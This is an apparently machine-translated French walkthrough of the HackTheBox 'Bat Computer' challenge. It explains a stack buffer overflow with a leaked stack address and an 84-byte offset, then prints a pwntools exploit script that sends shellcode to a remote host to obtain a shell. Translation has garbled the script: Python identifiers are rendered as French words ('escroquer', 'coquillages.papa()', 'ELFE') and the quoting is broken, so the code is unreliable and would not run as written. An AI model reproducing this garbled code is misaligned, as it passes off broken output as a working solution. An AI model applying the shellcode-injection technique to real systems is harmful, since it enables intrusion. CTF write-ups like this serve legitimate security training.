Nous avons couvert un binaire pour lequel seul PIE ou Position Independent Executable est activé comme protection alors que NX était désactivé. Nous avons analysé le binaire avec Ghidra et GDB. Nous avons découvert que le binaire divulgue l'adresse mémoire de la variable utilisée pour stocker l'entrée utilisateur. Sur cette base, nous avons également constaté que le binaire lit jusqu'à 137 octets d'entrée utilisateur et les stocke dans une variable dont la taille du tampon est de 76 octets, ce qui constitue la principale vulnérabilité de cette application. Nous avons provoqué une erreur de segmentation sur cette base et avons trouvé que le décalage était de 84 octets. Sur la base de l'analyse ci-dessus, nous avons construit le script d'exploitation portant le paramètre de connexion et la charge utile finale. Cela faisait partie de Ordinateur de chauve-souris HackTheBox | Introduction à l'exploitation binaire
Notes sur les techniques de débordement de tampon
Le code d'exploitation est ci-dessous
##Bebut
depuis pwn importer *
contexte.binaire = ELFE('./ordinateur chauve-souris')
escroquer = télécommande(‘157.245.39.76’,31662)
escroquer.ligne d'envoi(‘1’)
escroquer.jusqu'à ce que('0x')
pile_base = int(("0x"+escroquer.recv().décoder('latin-1').diviser()[0]),16)
enregistrer.succès(F'base de pile : {hexadécimal(pile_base)}‘)
escroquer.ligne d'envoi(‘2’)
escroquer.ligne d'envoi('b4tp@$$w0rd!')
charge utile = asme(coquillages.papa() + coquillages.merde()) Shellcode #
charge utile += b'UN'*(84 – len(charge utile)) # non
charge utile += p64(pile_base) Base de pile #
escroquer.ligne d'envoi(charge utile)
escroquer.ligne d'envoi(‘3’)
escroquer.interactif()
##Fin
Vidéo pas à pas